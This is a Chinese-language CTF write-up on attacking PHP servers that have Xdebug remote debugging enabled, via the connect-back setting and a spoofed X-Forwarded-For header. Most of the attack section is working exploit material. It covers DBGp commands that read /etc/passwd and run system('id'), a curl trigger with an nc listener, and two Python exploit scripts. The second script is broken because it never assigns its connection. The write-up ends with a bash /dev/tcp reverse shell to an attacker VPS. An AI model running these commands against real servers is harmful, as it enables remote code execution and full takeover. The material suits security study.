N1CTF esay_php
的官方writeup中提到三种非预期解法中有一个就是Xdebug attack
,在@wupco
师傅的指导下,成功的学习并本地测试了一波xdebug attack
。
参考链接:
https://ricterz.me/posts/Xdebug%3A A Tiny Attack Surface
http://www.wupco.cn/?p=4195
http://www.zjicmisa.org/index.php/archives/155/
http://www.bendawang.site/2018/03/13/N1CTF-2018-Web-writeup/
0X01、about xdebug
Xdebug
是一个 PHP
的调试工具,支持在本地通过源码远程调试服务器上的 PHP
代码。
Xdebug
调试 PHP
的主要流程为:
- 接收到
debug
的信号,一般为请求参数带有XDEBUG_SESSION_START
- 返回一个
XDEBUG_SESSION
的Cookie
- 服务器作为客户端,根据配置文件中的
xdebug.remote_host
和xdebug.remote_port
连接服务端(开发者的机器) - 服务端收到请求,向客户端发送指令
Xdebug
支持的协议有 dbgp
,具体的规范文档在:https://xdebug.org/docs-dbgp.php。
本地我进行测试的环境使用了wamp
集成环境,php
版本由默认的php5
改到php7
,(xdebug
支持必须要求php7
以上)
下载XDebug
下载地址:http://www.xdebug.org/,必须下载跟机器上安装的php
匹配的版本才行。
具体下载方法如下:将phpinfo
网页的源代码拷贝到http://www.xdebug.org/find-binary.php,然后按照指导安装即可。如下图所示:
为了满足xdebug
攻击需求的环境,配置XDebug
打开php.ini
,在末尾增加如下代码:
于是phpinfo
页面可以很明显看到:
逐条解释一下:
- xdebug.remote_enable,开启远程 debug
- xdebug.remote_connect_back,开启回连
xdebug.remote_connect_back
的回连是通过自定义 Header
(xdebug.remote_addr_header
)、X-Forwarded-For
和 Remote-Addr
三个确定的,依次 fallback
,所以即使配置了自定义 Header
,也可以通过设置 XFF
头来指定服务器连接。
Xdebug
的网络交互也十分简单,客户端回向服务端发送 XML
数据,服务端会向客户端发送类似于 gdb
的 command
。每次交互的数据以 \x00
作为 EOL
。
how to attack
从@RicterZ
师傅的Xdebug: A Tiny Attack Surface,我们可以学到一下三个利用点:
- Core Commands > source
- Extended Commands > eval
- Extended Commands > interact - Interactive Shell
- Core Commands > property_set
1. source
source -i transaction_id -f fileURI
transaction_id
貌似没有那么硬性的要求,每次都为 1
即可,fileURI
是要读取的文件的路径,需要注意的是,Xdebug
也受限于 open_basedir
。
利用方式:
source -i 1 -f file:///etc/passwd
2. eval
eval -i transaction_id -- {DATA}
{DATA}
为 base64
过的 PHP
代码。 利用方式(c3lzdGVtKCJpZCIpOw== == system("id");
):
eval -i 1 -- c3lzdGVtKCJpZCIpOw==
3. property_set
根据 Xdebug
对于 dbgp
的实现,property_set
是存在一个代码注入的。
具体代码在:https://github.com/xdebug/xdebug/blob/master/xdebug_handler_dbgp.c#L1503-L1505
/* Do the eval */
eval_string = xdebug_sprintf("%s = %s", CMD_OPTION('n'), new_value);
res = xdebug_do_eval(eval_string, &ret_zval TSRMLS_CC);
利用方式:
property_set -n $a -i 1 -c 1 -- c3lzdGVtKCJpZCIpOw==
property_get -n $a -i 1 -c 1 -p 0
test and an exp
说了这么多,怎么知道对方是否开了 Xdebug
并且可利用?很简单,一个 cURL
就可以了。
curl "127.0.0.1/phpinfo.php?XDEBUG_SESSION_START=GETF" -H "X-Forwarded-For:url.cn"
url.cn
为你自己的vps
主机
同时主机上
nc -lvv 9000
可见如图:
@RicterZ
师傅提供了一个方便利用的exp
:
#!/usr/bin/python2
import socket
ip_port = ('0.0.0.0',9000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
conn, addr = sk.accept()
while True:
client_data = conn.recv(1024)
print(client_data)
data = raw_input('>> ')
conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))
储存为 xdebug_exp.py
,然后:
- 服务端监听端口,等待反弹
shell
curl
触发Xdebug
,连接服务端- 服务端获取到,发送命令执行的代码
从@bendawang
师傅那里又收到一个exp
#!/usr/bin/python2
import socket
ip_port = ('0.0.0.0',9000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
while True:
client_data = conn.recv(1024)
print(client_data)
data = raw_input('>> ')
conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))
conn.sendall('feature_get -i transaction_id -n feature_name\x00')
然后运行:curl 'http://127.0.0.1/phpinfo.php?XDEBUG_SESSION_START=GETF'
发现代码那边收到信息了, 然后输入
system('bash -c "bash -i >& /dev/tcp/vps_ip/vps_port 0<&1 2>&1"')
就拿到shell